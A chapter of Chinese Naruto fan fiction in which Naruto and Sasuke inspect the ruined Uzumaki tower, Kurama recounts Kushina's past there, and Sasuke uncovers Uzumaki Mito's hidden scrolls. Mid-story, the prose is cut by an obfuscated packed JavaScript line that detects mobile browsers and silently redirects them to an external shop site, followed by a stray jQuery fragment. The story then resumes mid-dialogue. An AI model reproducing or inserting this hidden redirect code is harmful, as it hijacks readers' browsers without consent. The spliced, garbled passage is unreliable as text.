大和发现漏水是木遁房屋固有的问题,这下,估计得修上一天了。
“哎呀,要是这问题严重的话……我的绩效可怎么办……”他皱着眉头,从手里生出新的木遁修补件。
但鸣人顾不上安慰他了,因为佐助坚持要去漩涡塔楼那里看房。
“佐助!这已经是你第三次要木叶把你关起来了!事不过三你知道吗!就算是自来也老师,一个梗用三遍的话,他的书也没有人会看了的说!”
“我没有说要把自己关起来。”佐助说,“我就是想过去看看。”
“过去看看需要带睡袋吗?”鸣人警惕地看着佐助床上的行李包。
“万一今晚我的床还漏水怎么办。”佐助说,“你又不让我露宿街头,那我就没地去了。”
“咳咳……”大和不悦地咳嗽了两声。
总之,最后佐助不得不空手去了漩涡塔楼,而且全程被鸣人盯着。
鸣人说:“你说了,你是正在被调查的重犯。木叶派一个人看着你,那不是很正常吗?“
佐助没有反驳。现在正是卡卡西开展调查的关键时刻,他和鸣人作为发起人反而不好参与了。和鸣人吵起来也是绝对不可取的。
鸣人跟在佐助的身后,心里还是七上八下地打着鼓。像佐助这样,目睹了自己亲人的眼睛之后,又在顾问团前演那副令人作呕的戏——他现在情绪不正常的话,才是正常的。
万一他到了漩涡塔楼才发作那怎么办?鸣人想,就算不考虑自己和佐助的关系,自己也要对自己的小青蛙钱包好一点。终结谷的账单还没付完,要是再在漩涡塔楼打架了,那卡卡西还不得把自己一辈子的工资都敲走……
但佐助的心情却异常平静,他刚刚做完了一件重要的事情。事实上,他对转寝小春口里那个设施完备的防狐公寓有一些不切实际的期待。要是安顿下来,在门口挂一个“内有结界,九尾不得入内”,就可以好好对九尾出一口恶气,然后享受自己包吃包住的坐牢生活。
但他们俩的梦想在看到漩涡塔楼的一瞬间都破灭了。
冷风凄惨地吹过。今天还是阴天,天昏惨惨的。这栋被两位顾问吹得天花乱坠的“漩涡塔楼”,似乎,有一点破。
如果不说这是木叶村的高级软禁设施,大家恐怕只会觉得这是一栋木叶烂尾楼吧。
塔楼的屋顶十分奔放地敞开着,大约是被佩恩的神罗天征削掉了一半。大门的左边一半倒在了地上,上面已经长满了绿油油的青苔。至于那个能困住九尾的神秘结界……当佐助用他的轮回眼认真检查这个结界的构造时,一只肥肥的野猫毫无阻碍地跨了过去,嚣张地踩在某个封印符咒上撒了泡尿。
佐助的眼睛陷入了呆滞。
“这里真的是漩涡塔楼吗?”佐助说,“我们不会找错地了吧。”
“呃……”鸣人说,“应该是这没错。那个……虽然那个结界已经坏了,但真正的漩涡封印结界还在呢。九尾已经在我肚子里闹起来了。”
“哼。那是你自己心虚吧。”佐助一边说着,一边不信邪地往里走去。
“咔嚓!”
他脚下的地板已经快要烂了——在承接了一个疏于锻炼的六道忍者的重量后,那古老的木头干脆地断掉了。佐助的半条腿就那么陷了进去。
“啊!”鸣人吃了一惊。但佐助这时候已经用天手力把自己换了出来。
“你用的什么东西啊?”虚惊一场的鸣人说,“等……等等,我的外套呢!”
“我还以为是顾问团的什么陷阱呢……”佐助咬牙切齿地拍着自己踩脚袜上的灰。周身的杀气几乎要凝成实质了——木叶高层,虚伪,恶毒,在房地产上,还频繁进行虚假宣传!
“所以里面怎么样啊?”鸣人凑了过去,脸上带着不坏好意的笑容,“是不是非常适合人类居住啊?”
佐助深吸了一口气,然后发出了他这几天最为暴躁的一句话:
“那不是你妈的房子吗!怎么会破成这个样子!”
“让我来解说一番吧。”九尾的声音突然从鸣人的肚子里冒了出来,“不过,你们最好退到那几块石头外面,不然老夫很不舒服,就没法给你们讲故事了。”
鸣人和佐助对视一眼,不得不老老实实地退了出去,对坐在了石头上。
“这里确实是鸣人的母亲——玖辛奈曾经住过的地方。但是,自从她在水门的帮助下,能够轻松吊打老夫之后……她就,不怎么听从三代目的指令,不乐意住在这里了。不过,在封印松动的时候,她还是会回到这里,狠狠地教训一下老夫的……”
鸣人轻笑了一声。佐助看了他一眼。
“所以九尾之乱发生在这里吗?”佐助说。
“不……在村外。”九尾说,“因为首要是不能伤害到村民。所以,虽然这里的封印强度更高,但是,这里离村中心太近了。”
“那之后,为什么他们不让鸣人住在这里呢?”佐助问道。
“鸣人啊……”九尾说,“他当然住在这里过。不过,他都不记得了。不然,是谁给他喂的奶呢?”
“不会是你喂的奶吧……”佐助说,“你是公狐狸吧……”
“老夫是查克拉的凝结物,是没有性别的!”九尾愤怒地咆哮着,“老夫是说,当时三代目当然安排了女暗部来照顾鸣人!就在这里!”
“诶?”鸣人说,“为什么我不记得她了呢?她现在在哪儿呀?”
“她按照照顾人柱力的传统带着面具。”九尾说,“而且,她已经牺牲了……”
“不会是因为你失控了吧?”鸣人问。
“不是,我不知道是为什么……我也不认识她……”九尾说,“她一直都带着面具——可能就是怕老夫记住她,怀恨在心吧。但是,她牺牲了之后,三代目就把你挪出了塔楼,说这里太招人注意,村里村外,都可能会有人想要来暗杀……”
“啊……”鸣人难过地说,“这些我都不记得了。”
“也不是没有东西留下来呢。”九喇嘛说,“比如,你从来没有想过,你为什么会学会说那句だってばよ吗?”
“我妈妈也会说呢。”鸣人说,“这大概是遗传……”
“哪有遗传会到这程度啊,大笨蛋。”佐助说,“教鸣人说话的,大概就是她吧?”
“啊——”鸣人睁大了眼睛,“她认识我妈妈是吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574337|203245||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“对,她曾经是看守你妈妈的暗部之一,不过,和你的妈妈关系很好……”九喇嘛说,“不过,这都是很久以前的事情了。”
“说正题吧,九喇嘛。”鸣人说,“佐助对这个不感兴趣吧。”
他眨了眨眼睛,那里已经有点湿了。
九尾也自知理亏,没有继续在这个问题上讲下去。佐助也没有说话。
“总之,这个塔楼后来应该就这么废弃了……”九喇嘛说,“后来,木叶村也出了不少事,先是大蛇丸来了一趟,然后长门来了一趟……这里就成这样了。要说,柱间的建筑水平,比大和高得不是一点半点——这要是佐助那个公寓,估计连个框架都剩不下了。”
“那两个老东西怎么好意思在会议上信誓旦旦地说这里的设施极其完备啊?“佐助抱怨说。
“因为他们就是坐在办公室里,等着暗部上门向他们汇报的人。”鸣人说,“他们大概有十几年没出过火影楼了吧……所以他们只记得十几年前,风光无限的我妈妈和爸爸……而且心里只怕也有几分不舒服吧?所以才会时时刻刻想着把谁关回去。”
“等等……我突然想起来,木叶的财政预算里,好像还有一笔丰厚的,什么……漩涡塔楼结界维护与修缮专项资金……”佐助说,“费用挺大的呀!”
“这笔钱到底流向了哪个高层的口袋,那就只有鬼知道了。”鸣人说,“希望这次卡卡西能查出来吧。”
佐助冷笑了一声。
“不过,现在来看,你今晚还是只能回公寓里住了。”鸣人说,“在这里住实在有点考验忍耐程度。我估计晚上还会有蝙蝠——唉,算是白跑一趟咯!”
“来都来了。”佐助说。
“你不会还要住这吧?”鸣人说,“那我可就要报告给卡卡西,说犯人宇智波佐助潜入人柱力重地漩涡塔楼谋划不轨了……”
“我是说,我们不妨进去看看。”佐助微笑着说,“说不定能看到你妈妈,还有她的一些生活痕迹呢?”
鸣人惊喜地看了一眼佐助。他们小心翼翼地踩过坏掉的木板——这对精通查克拉控制的他们而言已经并非难事了。屋子里许多东西似乎也被清理走了,他们只在一些边边角角的地方才能看见东西。
大部分时候,只是无趣的生活用品。只有偶尔,他们能在里面看见一些字条,上面写着字迹。但鸣人并不知道,哪些字迹到底是谁的。是爸爸的吗?是妈妈的吗?
他不知道呀。
佐助大部分时间里只是在负责清扫一切,然后让鸣人看。但是,当他凭借轮回眼,才在一个用查克拉隐蔽得极好的地方搜罗到一个抽屉的时候,他突然呆住了。
“鸣人……”佐助说。
“怎么了吗?你看到什么了吗?”鸣人说。
“漩涡……水户。”佐助说,“她……她……太可怕了。”
鸣人匆匆地跑来。佐助翻开了其中一个卷轴,似乎正在看。周围横七竖八堆了无数个卷轴。
“这是什么?”
“我不该和千手柱间聊完之后就相信木叶村是什么的。”佐助喃喃地说,“漩涡水户,真是个可怕的人啊。怪不得,怪不得会是这样……”